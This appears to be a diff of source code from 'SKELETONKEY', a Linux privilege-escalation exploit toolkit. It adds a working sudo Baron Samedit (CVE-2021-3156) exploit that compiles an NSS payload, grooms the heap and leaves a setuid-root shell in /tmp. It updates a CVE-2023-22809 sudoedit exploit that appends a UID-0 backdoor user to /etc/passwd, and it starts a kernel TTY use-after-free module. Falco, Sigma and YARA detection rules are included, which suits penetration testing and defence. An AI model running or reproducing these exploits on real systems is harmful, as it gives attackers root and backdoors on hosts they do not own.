/* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */
|
||||
char **s_envp = calloc(null_stomp + 4, sizeof(char *));
|
||||
if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; }
|
||||
int pos = 0;
|
||||
for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\";
|
||||
s_envp[pos++] = (char *)"X/P0P_SH3LLZ_";
|
||||
s_envp[pos++] = lc;
|
||||
s_envp[pos++] = NULL;
|
||||
|
||||
/* We need a custom envp, so exec directly here in a child. */
|
||||
pid_t p = fork();
|
||||
if (p == 0) {
|
||||
if (chdir(workdir) != 0) _exit(126);
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
|
||||
execve(sudoedit, s_argv, s_envp);
|
||||
_exit(127);
|
||||
}
|
||||
if (p > 0) {
|
||||
for (int i = 0; i < 20 * 20; i++) { /* up to ~20s */
|
||||
int st; pid_t r = waitpid(p, &st, WNOHANG);
|
||||
if (r == p) break;
|
||||
if (r < 0) break;
|
||||
usleep(50 * 1000);
|
||||
}
|
||||
int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); }
|
||||
}
|
||||
|
||||
free(smash_a); free(smash_b); free(lc); free(s_envp);
|
||||
|
||||
struct stat sb;
|
||||
return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
}
|
||||
|
||||
/* Remember what we planted / where, for cleanup(). */
|
||||
static char samedit_workdir[256];
|
||||
static char samedit_rootbash[256];
|
||||
static char samedit_proof[256];
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||
fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Re-detect before doing anything visible. Defends against the
|
||||
* detect-then-exploit TOCTOU where the operator upgrades sudo
|
||||
* between scan and pop. */
|
||||
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
||||
@@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
||||
|
||||
const char *sudoedit = find_sudoedit();
|
||||
if (!sudoedit) {
|
||||
/* On most distros sudoedit is a symlink to sudo. Fall back. */
|
||||
const char *sudo = find_sudo();
|
||||
if (!sudo) {
|
||||
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
sudoedit = sudo;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
|
||||
sudo);
|
||||
}
|
||||
fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
const char *cc = samedit_find_cc();
|
||||
if (!cc) {
|
||||
fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS "
|
||||
"payload. Honest EXPLOIT_FAIL.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: heads-up — public exploitation requires\n"
|
||||
" per-distro heap-overlap offsets (libnss-files / libc).\n"
|
||||
" Without that tuning the bug crashes sudo instead of\n"
|
||||
" handing back a shell. We will drive the trigger and\n"
|
||||
" verify uid==0 outcome empirically; on failure we report\n"
|
||||
" EXPLOIT_FAIL rather than claiming success.\n");
|
||||
}
|
||||
/* Pick the grooming length-set by libc family (distro proxy). */
|
||||
const struct samedit_target *tgt = &samedit_ubuntu;
|
||||
if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian;
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name);
|
||||
|
||||
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
|
||||
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
|
||||
*
|
||||
* Each padding arg is the Qualys-style "A...\\" repeating tail.
|
||||
* On a vulnerable target this drives the unescape loop past the
|
||||
* end of the heap buffer. */
|
||||
char *argv[SUDO_SAMEDIT_ARGC + 1];
|
||||
char *padbufs[SUDO_SAMEDIT_ARGC];
|
||||
memset(padbufs, 0, sizeof padbufs);
|
||||
/* Scratch workdir with the NSS payload dir. */
|
||||
char tmpl[] = "/tmp/.sk-samedit-XXXXXX";
|
||||
char *wd = mkdtemp(tmpl);
|
||||
if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd);
|
||||
|
||||
argv[0] = (char *)"sudoedit";
|
||||
argv[1] = (char *)"-s";
|
||||
/* argv[2] is the canonical trailing-backslash trigger. */
|
||||
argv[2] = strdup("\\");
|
||||
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
|
||||
long tag = (long)getpid();
|
||||
snprintf(samedit_proof, sizeof samedit_proof, "/tmp/.sk-samedit-%ld.proof", tag);
|
||||
snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag);
|
||||
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
|
||||
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
|
||||
if (!buf) {
|
||||
for (int j = 3; j < i; j++) free(padbufs[j]);
|
||||
free(argv[2]);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
|
||||
buf[SUDO_SAMEDIT_PADLEN] = '\\';
|
||||
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
|
||||
padbufs[i] = buf;
|
||||
argv[i] = buf;
|
||||
}
|
||||
argv[SUDO_SAMEDIT_ARGC] = NULL;
|
||||
|
||||
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
|
||||
* that landed the overlap on the canonical distro PoCs. These
|
||||
* are harmless if landing fails; their value is positioning the
|
||||
* heap so the overflow lands on a useful target. */
|
||||
char *envp[] = {
|
||||
(char *)"LC_ALL=C.UTF-8@",
|
||||
(char *)"TZ=:",
|
||||
(char *)"LC_CTYPE=C.UTF-8@",
|
||||
(char *)"SUDO_EDITOR=A",
|
||||
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL,
|
||||
};
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
|
||||
sudoedit);
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
char nssdir[300], payload_c[320], nsslib[512], log_unused[300];
|
||||
(void)log_unused;
|
||||
snprintf(nssdir, sizeof nssdir, "%s/libnss_X", wd);
|
||||
snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd);
|
||||
snprintf(nsslib, sizeof nsslib, "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd);
|
||||
if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) {
|
||||
perror("mkdir libnss_X");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
/* Child: drive the trigger. If the bug lands and we get a
|
||||
* root context, the chain in the original PoC then re-execs
|
||||
* a shell. We don't ship that shell-spawn here — we just
|
||||
* exit nonzero so the parent's verifier can sample uid. */
|
||||
execve(sudoedit, argv, envp);
|
||||
/* execve failed (binary missing or kernel-blocked). */
|
||||
_exit(127);
|
||||
|
||||
/* Write + compile the NSS payload. */
|
||||
int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; }
|
||||
(void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1);
|
||||
close(fd);
|
||||
|
||||
char dP[320], dR[320];
|
||||
snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"", samedit_proof);
|
||||
snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash);
|
||||
char *cc_argv[] = {
|
||||
(char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w",
|
||||
(char *)"-o", nsslib, payload_c, dP, dR, NULL,
|
||||
};
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc);
|
||||
if (samedit_run(cc_argv, NULL, 60) != 0) {
|
||||
fprintf(stderr, "[-] sudo_samedit: payload compile failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow "
|
||||
"(primary lengths %d/%d/%d/%d)\n",
|
||||
tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all);
|
||||
|
||||
/* Verifier: even on the rare "no crash" path, we don't know if
|
||||
* the bug landed without spawning a privileged helper. Per the
|
||||
* verified-vs-claimed bar, only claim success if uid is 0 in a
|
||||
* post-trigger probe (which would require the chain to have
|
||||
* persisted a setuid artifact — it didn't). So: report honestly. */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
|
||||
/* Primary attempt with the profile's exact lengths. */
|
||||
bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
|
||||
tgt->null_stomp, tgt->lc_all, samedit_proof);
|
||||
|
||||
/* Fallback: sweep null_stomp_len around the profile value (libc drift),
|
||||
* exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */
|
||||
if (!rooted) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len "
|
||||
"%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8);
|
||||
for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) {
|
||||
if (ns == tgt->null_stomp || ns < 1) continue;
|
||||
rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
|
||||
ns, tgt->lc_all, samedit_proof);
|
||||
if (rooted && !ctx->json)
|
||||
fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns);
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort scrub of the scratch build dir (keep proof + rootbash). */
|
||||
{ char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd);
|
||||
if (system(rm) != 0) { /* ignore */ } }
|
||||
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof);
|
||||
fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n",
|
||||
samedit_rootbash);
|
||||
}
|
||||
/* Leak the buffers; we're about to exec a shell anyway. */
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child died on signal %d "
|
||||
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
|
||||
" but landing did not produce a root shell. Per-distro\n"
|
||||
" offset tuning required.\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
} else if (WIFEXITED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child exited %d — trigger did not\n"
|
||||
" crash sudo; the host is most likely patched at the\n"
|
||||
" parser level even though the version string was in\n"
|
||||
" range. Reporting EXPLOIT_FAIL.\n",
|
||||
WEXITSTATUS(status));
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort free. */
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — "
|
||||
"honest EXPLOIT_FAIL. Host is likely backport-patched, or the "
|
||||
"libc heap layout needs lengths outside the swept range "
|
||||
"(see blasty brute.sh for a wider search).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
@@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
|
||||
* Best-effort unlink of any obvious crumbs left by our trigger. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
|
||||
/* harmless — likely no files matched */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n");
|
||||
if (samedit_proof[0]) unlink(samedit_proof);
|
||||
if (samedit_rootbash[0]) unlink(samedit_rootbash);
|
||||
if (samedit_workdir[0]) {
|
||||
char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir);
|
||||
if (system(rm) != 0) { /* ignore */ }
|
||||
}
|
||||
if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] =
|
||||
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
||||
" -s flag and a command-line argument ending in a lone backslash —\n"
|
||||
" the canonical Qualys trigger for the heap overflow in\n"
|
||||
" plugins/sudoers/sudoers.c set_cmnd().\n"
|
||||
" plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n"
|
||||
" caller's CWD is a strong corroborating artifact.\n"
|
||||
"logsource:\n"
|
||||
" product: linux\n"
|
||||
" service: auditd\n"
|
||||
@@ -472,12 +510,29 @@ static const char sudo_samedit_sigma[] =
|
||||
" - attack.t1068\n"
|
||||
" - cve.2021.3156\n";
|
||||
|
||||
static const char sudo_samedit_falco[] =
|
||||
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
||||
" desc: |\n"
|
||||
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
||||
" The parser's unescape loop walks past the argv string into\n"
|
||||
" adjacent env, overflowing the heap buffer.\n"
|
||||
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
||||
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudoedit and\n"
|
||||
" proc.args contains \"-s \\\\\"\n"
|
||||
" output: >\n"
|
||||
" Possible Baron Samedit sudoedit invocation\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_samedit_module = {
|
||||
.name = "sudo_samedit",
|
||||
.cve = "CVE-2021-3156",
|
||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
|
||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
||||
.detect = sudo_samedit_detect,
|
||||
@@ -487,7 +542,9 @@ const struct skeletonkey_module sudo_samedit_module = {
|
||||
.detect_auditd = sudo_samedit_auditd,
|
||||
.detect_sigma = sudo_samedit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = sudo_samedit_falco,
|
||||
.opsec_notes = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
||||
|
||||
@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n: non-interactive (no password prompt); -l: list. */
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
|
||||
/* -n: non-interactive (no password prompt); -l: list. The two flags
|
||||
* are written separately and stdin is redirected from /dev/null so
|
||||
* sudo cannot fall back to a tty prompt even if the local PAM stack
|
||||
* tries to coerce one (some sudoers + pam_unix configurations have
|
||||
* been observed prompting despite `-n` when the flags are bundled
|
||||
* as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
|
||||
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
@@ -286,14 +291,21 @@ static const char HELPER_SOURCE[] =
|
||||
"#include <unistd.h>\n"
|
||||
"#include <fcntl.h>\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" /* sudoedit invokes us with one editable temp per file. The\n"
|
||||
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
|
||||
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
|
||||
" * then *copies it back as root*), so we modify the tmp copy\n"
|
||||
" * and let sudoedit do the privileged install for us. */\n"
|
||||
" /* sudoedit invokes us with one editable temp copy per file, each\n"
|
||||
" * named <basename>.XXXXXX in a tmp dir (e.g. /var/tmp/passwd.AbC123\n"
|
||||
" * for /etc/passwd). We must write the TARGET's copy — NOT argv[argc-1],\n"
|
||||
" * which is the sudoers-authorized cover file. Match by the target's\n"
|
||||
" * basename prefix (passed in SKEL_TARGET). We modify the tmp copy and\n"
|
||||
" * sudoedit copies it back over the real file as root. */\n"
|
||||
" if (argc < 2) return 1;\n"
|
||||
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
|
||||
" const char *path = argv[argc-1];\n"
|
||||
" const char *tb = getenv(\"SKEL_TARGET\"); if (!tb || !*tb) tb = \"passwd\";\n"
|
||||
" char pref[128]; snprintf(pref, sizeof pref, \"%s.\", tb);\n"
|
||||
" const char *path = NULL;\n"
|
||||
" for (int i = 1; i < argc; i++) {\n"
|
||||
" const char *b = strrchr(argv[i], '/'); b = b ? b+1 : argv[i];\n"
|
||||
" if (strncmp(b, pref, strlen(pref)) == 0) { path = argv[i]; break; }\n"
|
||||
" }\n"
|
||||
" if (!path) path = argv[argc-1]; /* fallback */\n"
|
||||
" int fd = open(path, O_WRONLY|O_APPEND);\n"
|
||||
" if (fd < 0) { perror(\"open\"); return 2; }\n"
|
||||
" const char *line = getenv(\"SKEL_LINE\");\n"
|
||||
@@ -436,6 +448,12 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
||||
char skel_env[256];
|
||||
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
|
||||
|
||||
/* Pass the target's basename so the helper writes the RIGHT tmp copy
|
||||
* (sudoedit names each editable copy <basename>.XXXXXX). */
|
||||
const char *tb = strrchr(target, '/'); tb = tb ? tb + 1 : target;
|
||||
char tgt_env[128];
|
||||
snprintf(tgt_env, sizeof tgt_env, "SKEL_TARGET=%s", tb);
|
||||
|
||||
/* Construct argv/envp for execve. We need a clean env so the
|
||||
* EDITOR string sudo sees is exactly ours. PATH is needed so the
|
||||
* compiled helper can be located — except we pass it absolute. */
|
||||
@@ -450,6 +468,7 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
||||
char *envp[] = {
|
||||
editor_env,
|
||||
skel_env,
|
||||
tgt_env,
|
||||
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
"TERM=dumb",
|
||||
NULL,
|
||||
@@ -464,6 +483,13 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
||||
pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
/* CRITICAL: run from a NON-writable directory. sudoedit refuses to
|
||||
* edit any file whose parent directory is writable by the invoking
|
||||
* user (anti-symlink check). The injected "--" is resolved as a file
|
||||
* relative to CWD, so a writable CWD (home/tmp) makes sudoedit abort
|
||||
* with "--: editing files in a writable directory is not permitted"
|
||||
* before it ever runs the editor. "/" is not user-writable. */
|
||||
if (chdir("/") != 0) { perror("chdir /"); _exit(126); }
|
||||
execve(sudoedit_path, new_argv, envp);
|
||||
perror("execve(sudoedit)");
|
||||
_exit(127);
|
||||
@@ -618,6 +644,36 @@ static const char sudoedit_editor_sigma[] =
|
||||
|
||||
/* ----- module registration ------------------------------------------- */
|
||||
|
||||
static const char sudoedit_editor_yara[] =
|
||||
"rule sudoedit_editor_cve_2023_22809 : cve_2023_22809 setuid_abuse\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-22809\"\n"
|
||||
" description = \"skeletonkey sudoedit backdoor: appended skel UID=0 user in /etc/passwd\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $skel = \"skel::0:0:skeletonkey\" ascii\n"
|
||||
" condition:\n"
|
||||
" $skel\n"
|
||||
"}\n";
|
||||
|
||||
static const char sudoedit_editor_falco[] =
|
||||
"- rule: sudoedit with EDITOR/VISUAL containing '--' separator\n"
|
||||
" desc: |\n"
|
||||
" sudoedit spawned with EDITOR / VISUAL / SUDO_EDITOR env var\n"
|
||||
" containing the substring ' -- '. The argv-split bug treats\n"
|
||||
" everything after '--' as an additional file argument that\n"
|
||||
" sudoedit then opens with root privileges. CVE-2023-22809.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudoedit and\n"
|
||||
" (proc.env contains \"EDITOR=\" or proc.env contains \"VISUAL=\"\n"
|
||||
" or proc.env contains \"SUDO_EDITOR=\")\n"
|
||||
" output: >\n"
|
||||
" sudoedit with EDITOR-style env var\n"
|
||||
" (user=%user.name pid=%proc.pid env=%proc.env)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2023.22809]\n";
|
||||
|
||||
const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.name = "sudoedit_editor",
|
||||
.cve = "CVE-2023-22809",
|
||||
@@ -630,8 +686,10 @@ const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.cleanup = sudoedit_editor_cleanup,
|
||||
.detect_auditd = sudoedit_editor_auditd,
|
||||
.detect_sigma = sudoedit_editor_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = sudoedit_editor_yara,
|
||||
.detect_falco = sudoedit_editor_falco,
|
||||
.opsec_notes = "Sets EDITOR='<helper> -- /etc/passwd' so sudoedit splits on the literal '--' and treats /etc/passwd as an additional editable file. Compiled helper appends 'skel::0:0:skeletonkey:/root:/bin/sh' to the post-'--' target; sudoedit runs the helper as root and copies back. Artifacts: /tmp/skeletonkey-sudoedit-XXXXXX (helper.c, helper binary, optional passwd.before backup); /etc/passwd gets the new 'skel' entry; drops root via 'su skel'. Audit-visible via execve(/usr/bin/sudoedit) with EDITOR/VISUAL/SUDO_EDITOR containing the literal '--' token. No network. Cleanup callback restores /etc/passwd from backup (if root) or removes the 'skel' line, and removes the /tmp dir.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudoedit_editor(void)
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
/*
|
||||
* tioscpgrp_cve_2020_29661 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. TTY race-driver + msg_msg cross-cache groom +
|
||||
* empirical witness. Real cred-overwrite via --full-chain finisher
|
||||
* on x86_64.
|
||||
*
|
||||
* The bug (Jann Horn / Project Zero, December 2020):
|
||||
* The TIOCSPGRP ioctl handler in drivers/tty/tty_jobctrl.c takes
|
||||
* two `tty_struct` pointers — `tty` (the side userspace passed)
|
||||
* and `real_tty` (always the slave). For PTY pairs the two can
|
||||
* differ. The handler acquires `tty->ctrl.lock` for read but the
|
||||
* actual mutation happens on `real_tty`, which has its own
|
||||
* independent lock. Racing TIOCSPGRP on the master with TIOCSPGRP
|
||||
* on the slave can free `real_tty->pgrp` while another thread still
|
||||
* holds a reference → UAF on `struct pid` (kmalloc-256 slab).
|
||||
*
|
||||
* Public PoCs (one from grsecurity / spender, one from Maxime
|
||||
* Peterlin):
|
||||
* https://sploitus.com/exploit?id=PACKETSTORM%3A160681
|
||||
* https://www.openwall.com/lists/oss-security/2020/12/09/2
|
||||
*
|
||||
* Affects: Linux kernels through 5.9.13. Fix commit 54ffccbf053b
|
||||
* ("tty: Fix ->session locking") landed in 5.10 and was backported
|
||||
* to 5.4.85, 4.19.165, 4.14.213, 4.9.249, 4.4.249.
|
||||
*
|
||||
* Preconditions:
|
||||
* - openpty() works (allocates a PTY pair; universal on real
|
||||
* hosts, but some seccomp profiles block /dev/ptmx)
|
||||
* - msgsnd / SysV IPC for kmalloc-256 spray
|
||||
* - 2+ CPU cores for the race (single-CPU race-win rate is
|
||||
* vanishingly small)
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The race + spray are
|
||||
* arch-agnostic but the cred-overwrite finisher uses x86 gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
|
||||
{4, 4, 249}, /* 4.4 LTS stable backport */
|
||||
{4, 9, 249}, /* 4.9 LTS */
|
||||
{4, 14, 213}, /* 4.14 LTS */
|
||||
{4, 19, 165}, /* 4.19 LTS */
|
||||
{5, 4, 85}, /* 5.4 LTS */
|
||||
{5, 9, 15}, /* Debian-tracked 5.9 backport */
|
||||
{5, 10, 0}, /* mainline fix in 5.10 */
|
||||
};
|
||||
|
||||
static const struct kernel_range tioscpgrp_range = {
|
||||
.patched_from = tioscpgrp_patched_branches,
|
||||
.n_patched_from = sizeof(tioscpgrp_patched_branches) /
|
||||
sizeof(tioscpgrp_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool ptmx_writable(void)
|
||||
{
|
||||
int fd = open("/dev/ptmx", O_RDWR);
|
||||
if (fd < 0) return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t tioscpgrp_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] tioscpgrp: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (kernel_range_is_patched(&tioscpgrp_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] tioscpgrp: kernel %s is patched\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ptmx_writable()) {
|
||||
